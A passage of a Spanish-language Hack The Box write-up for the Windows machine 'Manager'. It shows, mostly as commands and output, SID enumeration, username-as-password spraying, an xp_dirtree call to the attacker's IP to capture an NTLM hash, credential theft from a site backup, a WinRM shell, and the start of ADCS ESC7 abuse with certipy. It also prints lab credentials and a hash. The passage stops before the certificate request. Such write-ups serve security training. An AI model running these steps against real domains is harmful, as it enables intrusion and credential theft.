This page looks best with JavaScript enabled

HackTheBox - Manager

 •  ✍️ sckull
featured image

En Manager realizamos una enumeracion de usuarios por SIDs, nos permitio acceder por MSSQL y a su vez realizar una enumeracion con xp_dirtree donde descubrimos un backup del sitio, dentro, encontramos credenciales que nos dieron acceso por WinRM. Finalmente escalamos privilegios tras explotar una vulnerabilidad en ADCS.

Nombre Manager box_img_maker
OS

Windows

Puntos 30
Dificultad Media
IP 10.10.11.236
Maker

Geiseric
Matrix 
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.7, 6.7, 5.7, 4.3, 3.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: HTTP (80/tcp), Kerberos (88/tcp), Microsoft RPC (135/tcp), NetBIOS (139/tcp), LDAP (389/tcp, 3268/tcp), SMB (445/tcp), Microsoft SQL Server (1433/tcp), SSL/LDAP (636/tcp, 3269/tcp), WinRM (5985/tcp).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

# Nmap 7.94 scan initiated Thu Nov  9 17:06:30 2023 as: nmap -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49687,49688,49689,49726,55087 -Pn -sV -sC -oN nmap_scan 10.10.11.236
Nmap scan report for 10.10.11.236
Host is up (0.073s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-11-10 05:06:37Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-10T05:09:40+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-10T05:09:40+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-11-10T04:52:27
|_Not valid after:  2053-11-10T04:52:27
|_ssl-date: 2023-11-10T05:09:40+00:00; +7h00m00s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-11-10T05:09:40+00:00; +7h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-11-10T05:09:40+00:00; +7h00m01s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49688/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49726/tcp open  msrpc         Microsoft Windows RPC
55087/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-11-10T05:09:01
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov  9 17:09:40 2023 -- 1 IP address (1 host up) scanned in 189.78 seconds

Web Site

Los headers del sitio muestran un Microsoft IIS 10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

 π ~/htb/manager ❯ curl -sI 10.10.11.236
HTTP/1.1 200 OK
Content-Length: 18203
Content-Type: text/html
Last-Modified: Thu, 27 Jul 2023 16:02:39 GMT
Accept-Ranges: bytes
ETag: "1c67a5c4a3c0d91:0"
Server: Microsoft-IIS/10.0
Date: Sat, 17 Feb 2024 08:22:09 GMT

 π ~/htb/manager ❯

El sitio parece ser estatico y muestra el contenido “default” de una plantilla.

image

Directory Brute Forcing

feroxbuster no muestra glun otro directorio o direccion util.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

 π ~/htb/manager ❯ feroxbuster -u http://10.10.11.236/ -w $MD

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.236/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        2l       10w      150c http://10.10.11.236/images => http://10.10.11.236/images/
200      GET        6l       17w     1553c http://10.10.11.236/images/s-1.png
200      GET      157l      414w     5386c http://10.10.11.236/about.html
200      GET       10l       42w     2704c http://10.10.11.236/images/call-o.png
200      GET        9l       31w     2492c http://10.10.11.236/images/s-3.png
200      GET       85l      128w     1389c http://10.10.11.236/css/responsive.css
200      GET       10l       43w     2023c http://10.10.11.236/images/call.png
200      GET        9l       25w     1255c http://10.10.11.236/images/envelope.png
200      GET        7l       29w     1606c http://10.10.11.236/images/envelope-o.png
200      GET      165l      367w     5317c http://10.10.11.236/contact.html
200      GET       14l       48w     3837c http://10.10.11.236/images/logo.png
200      GET      614l     1154w    11838c http://10.10.11.236/css/style.css
200      GET       82l      542w    56157c http://10.10.11.236/images/contact-img.jpg
200      GET        9l       41w     2465c http://10.10.11.236/images/s-4.png
200      GET        4l       20w     1337c http://10.10.11.236/images/s-2.png
200      GET      224l      650w     7900c http://10.10.11.236/service.html
200      GET        6l       22w     1052c http://10.10.11.236/images/location.png
200      GET        6l       20w     1360c http://10.10.11.236/images/location-o.png
200      GET      507l     1356w    18203c http://10.10.11.236/index.html
200      GET      149l      630w    53431c http://10.10.11.236/images/client.jpg
301      GET        2l       10w      150c http://10.10.11.236/Images => http://10.10.11.236/Images/
200      GET        2l     1276w    88145c http://10.10.11.236/js/jquery-3.4.1.min.js
200      GET    10038l    19587w   192348c http://10.10.11.236/css/bootstrap.css
403      GET       29l       92w     1233c http://10.10.11.236/js/
403      GET       29l       92w     1233c http://10.10.11.236/css/
301      GET        2l       10w      147c http://10.10.11.236/css => http://10.10.11.236/css/
200      GET     4437l    10999w   131863c http://10.10.11.236/js/bootstrap.js
200      GET     1313l     7384w   563817c http://10.10.11.236/images/about-img.png
200      GET      507l     1356w    18203c http://10.10.11.236/
301      GET        2l       10w      146c http://10.10.11.236/js => http://10.10.11.236/js/
301      GET        2l       10w      150c http://10.10.11.236/IMAGES => http://10.10.11.236/IMAGES/
301      GET        2l       10w      147c http://10.10.11.236/CSS => http://10.10.11.236/CSS/
301      GET        2l       10w      146c http://10.10.11.236/JS => http://10.10.11.236/JS/
404      GET        0l        0w     1245c http://10.10.11.236/css/rent

SMB & RPC

En samba no tenemos permisos suficientes para enumerar los recurso compartidos de forma anonima.

1
2
3
4
5

 π ~/htb/manager ❯ cme smb 10.10.11.236 -u '' -p ''  --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\:
SMB         10.10.11.236    445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED
 π ~/htb/manager ❯

Al igual que RPC no logramos obtener informacion.

1
2
3
4
5
6

 π ~/htb/manager ❯ rpcclient -U "" -N 10.10.11.236
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $>

Enum Users

Intentamos realizar una enumeracion de usuarios por medio de SIDs en este caso utilizamos el usuario ‘guest’ sin contrasena, observamos que muestra multiples usuarios y con ello creamos un wordlist.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

 π ~/htb/manager ❯ impacket-lookupsid manager.htb/guest@manager.htb -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Brute forcing SIDs at manager.htb
[*] StringBinding ncacn_np:manager.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: MANAGER\Administrator (SidTypeUser)
501: MANAGER\Guest (SidTypeUser)
502: MANAGER\krbtgt (SidTypeUser)
512: MANAGER\Domain Admins (SidTypeGroup)
513: MANAGER\Domain Users (SidTypeGroup)
514: MANAGER\Domain Guests (SidTypeGroup)
515: MANAGER\Domain Computers (SidTypeGroup)
516: MANAGER\Domain Controllers (SidTypeGroup)
517: MANAGER\Cert Publishers (SidTypeAlias)
518: MANAGER\Schema Admins (SidTypeGroup)
519: MANAGER\Enterprise Admins (SidTypeGroup)
520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
525: MANAGER\Protected Users (SidTypeGroup)
526: MANAGER\Key Admins (SidTypeGroup)
527: MANAGER\Enterprise Key Admins (SidTypeGroup)
553: MANAGER\RAS and IAS Servers (SidTypeAlias)
571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
1000: MANAGER\DC01$ (SidTypeUser)
1101: MANAGER\DnsAdmins (SidTypeAlias)
1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
1113: MANAGER\Zhong (SidTypeUser)
1114: MANAGER\Cheng (SidTypeUser)
1115: MANAGER\Ryan (SidTypeUser)
1116: MANAGER\Raven (SidTypeUser)
1117: MANAGER\JinWoo (SidTypeUser)
1118: MANAGER\ChinHae (SidTypeUser)
1119: MANAGER\Operator (SidTypeUser)
 π ~/htb/manager ❯ 
 π ~/htb/manager ❯ impacket-lookupsid manager.htb/guest@manager.htb -no-pass | grep SidTypeUser | cut -d '\' -f2 | cut -d ' ' -f1 | uniq | wc -l
11
 π ~/htb/manager ❯ impacket-lookupsid manager.htb/guest@manager.htb -no-pass | grep SidTypeUser | cut -d '\' -f2 | cut -d ' ' -f1 | uniq > users.txt
 π ~/htb/manager ❯ cat users.txt | tr '[:upper:]' '[:lower:]' >> users.txt
 π ~/htb/manager ❯ cat users.txt
Administrator
Guest
krbtgt
DC01$
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
 π ~/htb/manager ❯

Utilizamos los usuarios como contrasenas con crackmapexec por smb, encontramos que el usuario Operator puede autenticarse y listar los recursos compartidos por samba.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

 π ~/htb/manager ❯ cme smb manager.htb -u users.txt -p users.txt | grep -v STATUS_LOGON_FAILURE
SMB         manager.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         manager.htb     445    DC01             [+] manager.htb\Operator:operator
 π ~/htb/manager ❯ cme smb manager.htb -u Operator -p operator --shares
SMB         manager.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         manager.htb     445    DC01             [+] manager.htb\Operator:operator
SMB         manager.htb     445    DC01             [+] Enumerated shares
SMB         manager.htb     445    DC01             Share           Permissions     Remark
SMB         manager.htb     445    DC01             -----           -----------     ------
SMB         manager.htb     445    DC01             ADMIN$                          Remote Admin
SMB         manager.htb     445    DC01             C$                              Default share
SMB         manager.htb     445    DC01             IPC$            READ            Remote IPC
SMB         manager.htb     445    DC01             NETLOGON        READ            Logon server share
SMB         manager.htb     445    DC01             SYSVOL          READ            Logon server share
 π ~/htb/manager ❯

MSSQL - Operator

Tambien intentamos por el puerto de mssql, nuevamente el usuario Operator puede autenticarse.

1
2
3
4

 π ~/htb/manager ❯ cme mssql manager.htb -u users.txt -p users.txt | grep -v ERROR
MSSQL       manager.htb     1433   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
MSSQL       manager.htb     1433   DC01             [+] manager.htb\Operator:operator
 π ~/htb/manager ❯

Capture the Hash

Tras autenticarnos por mssql con mssqclient de impacket enumeramos las bases de datos pero no encontramos informacion relevante.

Intentamos ejecutar xp_dirtree en nuestra direccion IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

 π ~/htb/manager ❯ impacket-mssqlclient Operator:operator@manager.htb -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)>
[ ... ]
SQL (MANAGER\Operator  guest@master)> exec master.dbo.xp_dirtree "\\10.10.15.0\any\thing"
subdirectory   depth   
------------   -----   
SQL (MANAGER\Operator  guest@master)>

Tras la ejecucion Responder muestra el hash de DC01$, sin embargo no nos fue posible crackear el hash.

1
2
3
4
5

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.236
[SMB] NTLMv2-SSP Username : MANAGER\DC01$
[SMB] NTLMv2-SSP Hash     : DC01$::MANAGER:c6cbb8151fd5eae9:695A1C8B040DAD8CDB63D28DA3D35682:010100000000000000BF628C3F13DA018420A843D63875F90000000002000800510046005700440001001E00570049004E002D0057004A0036004E004500590047004D0047005900390004003400570049004E002D0057004A0036004E004500590047004D004700590039002E0051004600570044002E004C004F00430041004C000300140051004600570044002E004C004F00430041004C000500140051004600570044002E004C004F00430041004C000700080000BF628C3F13DA0106000400020000000800300030000000000000000000000000300000E4ACB0CDAE148B94047B08B79BD5480AE1309506FA03DA87B529A22E32D7B8670A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310035002E0030000000000000000000

User - Raven

Tras la ejecucion de xp_dirtree permite listar los directorios del directorio de la maquina donde observamos un backup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

SQL (MANAGER\Operator  guest@master)> EXEC MASTER.sys.xp_dirtree 'c:/', 1, 1
subdirectory                depth   file   
-------------------------   -----   ----   
$Recycle.Bin                    1      0   

Documents and Settings          1      0   

inetpub                         1      0   

PerfLogs                        1      0   

Program Files                   1      0   

Program Files (x86)             1      0   

ProgramData                     1      0   

Recovery                        1      0   

SQL2019                         1      0   

System Volume Information       1      0   

Users                           1      0   

Windows                         1      0   

SQL (MANAGER\Operator  guest@master)> EXEC MASTER.sys.xp_dirtree 'c:/inetpub/wwwroot', 1, 1
subdirectory                      depth   file   
-------------------------------   -----   ----   
about.html                            1      1   

contact.html                          1      1   

css                                   1      0   

images                                1      0   

index.html                            1      1   

js                                    1      0   

service.html                          1      1   

web.config                            1      1   

website-backup-27-07-23-old.zip       1      1   

SQL (MANAGER\Operator  guest@master)>

Backup

Descargamos el backup y lo descomprimimos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

 π ~/htb/manager ❯ wget 10.10.11.236/website-backup-27-07-23-old.zip
--2023-11-09 19:27:12--  http://10.10.11.236/website-backup-27-07-23-old.zip
Connecting to 10.10.11.236:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’

website-backup-27-07-23-old.zip                           100%[===================================================================================================================================>]   1021K   290KB/s    in 3.5s    

2023-11-09 19:27:16 (290 KB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]

 π ~/htb/manager ❯ ls -l website-backup-27-07-23-old.zip 
-rw-r--r-- 1 kali kali 1045328 Jul 27 08:48 website-backup-27-07-23-old.zip
 π ~/htb/manager ❯ unzip website-backup-27-07-23-old.zip -d website
Archive:  website-backup-27-07-23-old.zip
  inflating: website/.old-conf.xml   
  inflating: website/about.html      
  inflating: website/contact.html    
  inflating: website/css/bootstrap.css  
  inflating: website/css/responsive.css  
  inflating: website/css/style.css   
  inflating: website/css/style.css.map  
  inflating: website/css/style.scss  
  inflating: website/images/about-img.png  
  inflating: website/images/body_bg.jpg  
 extracting: website/images/call.png  
 extracting: website/images/call-o.png  
  inflating: website/images/client.jpg  
  inflating: website/images/contact-img.jpg  
 extracting: website/images/envelope.png  
 extracting: website/images/envelope-o.png  
  inflating: website/images/hero-bg.jpg  
 extracting: website/images/location.png  
 extracting: website/images/location-o.png  
 extracting: website/images/logo.png  
  inflating: website/images/menu.png  
 extracting: website/images/next.png  
 extracting: website/images/next-white.png  
  inflating: website/images/offer-img.jpg  
  inflating: website/images/prev.png  
 extracting: website/images/prev-white.png  
 extracting: website/images/quote.png  
 extracting: website/images/s-1.png  
 extracting: website/images/s-2.png  
 extracting: website/images/s-3.png  
 extracting: website/images/s-4.png  
 extracting: website/images/search-icon.png  
  inflating: website/index.html      
  inflating: website/js/bootstrap.js  
  inflating: website/js/jquery-3.4.1.min.js  
  inflating: website/service.html    
 π ~/htb/manager ❯

Observamos que en el archivo .old-conf.xml existen unas credenciales de acceso para raven.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

 π ~/htb/manager/website ❯ ls -lah
total 68K
drwxr-xr-x 5 kali kali 4.0K Nov  9 19:28 .
drwxr-xr-x 3 kali kali 4.0K Nov  9 19:28 ..
-rw-r--r-- 1 kali kali 5.3K Jul 27 05:32 about.html
-rw-r--r-- 1 kali kali 5.2K Jul 27 05:32 contact.html
drwxr-xr-x 2 kali kali 4.0K Nov  9 19:28 css
drwxr-xr-x 2 kali kali 4.0K Nov  9 19:28 images
-rw-r--r-- 1 kali kali  18K Jul 27 05:32 index.html
drwxr-xr-x 2 kali kali 4.0K Nov  9 19:28 js
-rw-r--r-- 1 kali kali  698 Jul 27 05:35 .old-conf.xml
-rw-r--r-- 1 kali kali 7.8K Jul 27 05:32 service.html
 π ~/htb/manager/website ❯ cat .old-conf.xml 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>
 π ~/htb/manager/website ❯

Verificamos por WinRM, encontramos que las credenciales son funcionales.

1
2
3
4
5

 π ~/htb/manager/website ❯ crackmapexec winrm manager.htb -u raven -p "R4v3nBe5tD3veloP3r\!123"
SMB         10.10.11.236    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP        10.10.11.236    5985   DC01             [*] http://10.10.11.236:5985/wsman
HTTP        10.10.11.236    5985   DC01             [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
 π ~/htb/manager/website ❯

Shell

Tras ejecutar evil-wirm logramos obtener acceso y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

 π ~/htb/manager/website ❯ evil-winrm -u raven -p "R4v3nBe5tD3veloP3r\!123" -i manager.htb
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Raven\Desktop> dir


    Directory: C:\Users\Raven\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        11/9/2023   9:31 PM             34 user.txt


*Evil-WinRM* PS C:\Users\Raven\Desktop> cat user.txt
db1d92af61ce2c407dfb83a3b7012f50
*Evil-WinRM* PS C:\Users\Raven\Desktop>

Privesc

Tras listar la informacion del usuario encontramos el grupo en relacion a ADCS.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

*Evil-WinRM* PS C:\Users\Raven\Desktop> whoami /all

USER INFORMATION
----------------

User Name     SID
============= ==============================================
manager\raven S-1-5-21-4078382237-1492182817-2568127209-1116


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\Raven\Desktop>

Certipy

Ejecutamos certipy verificando si exise alguna vulnerabilidad en alguna plantilla, se muestra una vulnerable a ESC7 donde raven tiene permisos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

 π ~/htb/manager ❯ certipy-ad find -vulnerable -u raven@manager.htb -p "R4v3nBe5tD3veloP3r\!123" -dc-ip 10.10.11.236 -stdout
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
 π ~/htb/manager ❯

ESC7

Para explotar esta vulnerabilidad necesitamos tener la plantilla SubCA habilitada, lo hacemos agregando primero a raven como nuevo “officer” al Certificate Authority, una vez hecho se habilita la plantilla SubCA siendo Raven Officer.

1
2
3
4
5
6
7
8
9

 π ~/htb/manager ❯ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password "R4v3nBe5tD3veloP3r\!123"
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
 π ~/htb/manager ❯ certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password "R4v3nBe5tD3veloP3r\!123"
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
 π ~/htb/manager ❯

Uilizando la plantilla SubCA solicitamos un certificado, el error es esperado unicamente tomamos el ID que luego nos sirve para emitir un certificado basado en el ID.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

